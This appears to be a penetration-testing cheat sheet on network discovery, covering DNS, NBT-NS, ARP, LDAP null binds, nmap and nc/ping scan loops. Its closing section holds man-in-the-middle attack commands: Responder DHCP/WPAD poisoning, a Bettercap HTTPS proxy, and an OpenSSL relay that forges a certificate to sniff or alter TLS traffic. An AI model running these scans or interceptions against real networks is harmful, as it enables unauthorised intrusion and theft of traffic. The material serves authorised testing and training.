Network Discovery

DHCP

DHCP (Dynamic Host Configuration Protocol) is a networking protocol used to automatically assign IP addresses and other network configuration parameters to devices on a network. DHCP allows devices to obtain necessary network configuration information from a DHCP server, rather than having to be manually configured.

DNS

  • AD DNS
    • LDAP: nslookup -type=srv _ldap._tcp.dc._msdcs.<domain name>
    • KDC: nslookup -type=srv _kerberos._tcp.<domain name>
    • Global catalog: nslookup -type=srv _ldap._tcp.<domain name>

NBT-NS

NS (Name Service) is a component of NBT that provides name resolution services for NETBIOS names. In the context of NBT, NS is responsible for mapping NETBIOS names to IP addresses.

NBT NS uses a distributed database to store NETBIOS name-to-IP address mappings. Each computer on the network is responsible for registering its own name and IP address in the database, and for resolving names to IP addresses when necessary. When a computer needs to resolve a NETBIOS name to an IP address, it sends a query to the NBT NS service on another computer on the network. The NBT NS service responds with the IP address associated with the requested name, if it is known. It works on UDP, Port 137.

  • Get names: nbtscan -r 192.168.1.0/24
  • Get the name for a single IP: nmblookup -A <IP>

MDNS

MDNS (Multicast Domain Name System) is a protocol used for zero-configuration networking, also known as "zeroconf". It allows devices on a local network to automatically discover each other and resolve hostnames to IP addresses without the need for a centralized DNS server.

MDNS works by using multicast addresses to send DNS queries and responses. When a device wants to resolve a hostname to an IP address, it sends a multicast DNS query to a special multicast address (224.0.0.251 for IPv4 and ff02::fb for IPv6). Any device on the network that is listening for multicast DNS queries and has a matching hostname will respond with its IP address.

mdns-scan

ARP

ARP (Address Resolution Protocol) is a networking protocol used to map IP addresses to MAC (Media Access Control) addresses on a local area network (LAN).

  • ARP scan

Ping

  • Ping sweep with nmap: no port scan, no DNS resolution

    nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down"
    -sn : Disable port scanning. Host discovery only.
    -n : Never do DNS resolution
    

LDAP

  • Null bind connection: ldapsearch -x -h <ip> -s base

Port Scans and Enumeration

Nmap

  • Basic NMAP
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv

• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
• 192.168.0.1 is the IP address to scan
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
• -iL INPUTFILE tells Nmap to use the provided file as inputs
  • CTF NMAP

This configuration is enough to do a basic check for a CTF VM

nmap -sV -sC -oA ~/nmap-initial 192.168.1.1

-sV : Probe open ports to determine service/version info
-sC : to enable the script
-oA : to save the results

After this quick command you can add "-p-" to run a full scan while you work with the previous result
  • Aggressive NMAP
nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)
  • Using searchsploit to detect vulnerable services
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
  • Generating nice scan report
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
  • NMAP Scripts
nmap -sC : equivalent to --script=default

Network Scan with nc and ping

Sometimes we want to perform network scan without any tools like nmap. So we can use the commands ping and nc to check if a host is up and which port is open.

To check if hosts are up on a /24 range

for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP"; fi ; done

To check which ports are open on a specific host

for i in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.18 $i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.18 has port $i open"; fi ; done

Both at the same time on a /24 range

for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "\t192.168.1.$i has port $j open"; fi ; done ; fi ; done

Not in one-liner version:

for i in `seq 1 255`; 
do 
    ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; 
    if [ $? -eq 0 ]; 
    then 
        echo "192.168.1.$i is UP:"; 
        for j in {21,22,80,139,443,445,3306,3389,8080,8443}; 
        do 
            nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; 
            if [ $? -eq 0 ]; 
            then 
                echo "\t192.168.1.$i has port $j open"; 
            fi ; 
        done ; 
    fi ; 
done

Reconnoitre

Dependencies:

  • nbtscan
  • nmap
python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick

If you have a segfault with nbtscan, read the following quote.

Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255

Alternatively you can use the Windows version

MITM

  • WSUS poisoning
  • ARP poisoning
  • DHCP poisoning: responder --interface "eth0" --DHCP --wpad

Bettercap

bettercap -X --proxy --proxy-https -T <target IP>

SSL MITM with OpenSSL

This code snippet allows you to sniff/modify SSL traffic if there is a MITM vulnerability using only openssl. If you can modify /etc/hosts of the client:

sudo echo "[OPENSSL SERVER ADDRESS] [domain.of.server.to.mitm]" >> /etc/hosts  # On client host

On our MITM server, if the client accepts self signed certificates (you can use a legit certificate if you have the private key of the legit server):

openssl req -subj '/CN=[domain.of.server.to.mitm]' -batch -new -x509 -days 365 -nodes -out server.pem -keyout server.pem

On our MITM server, we setup our infra:

mkfifo response
sudo openssl s_server -cert server.pem -accept [INTERFACE TO LISTEN TO]:[PORT] -quiet < response | tee | openssl s_client -quiet -servername [domain.of.server.to.mitm] -connect[IP of server to MITM]:[PORT] | tee | cat > response

In this example, traffic is only displayed with tee but we could modify it using sed for example.
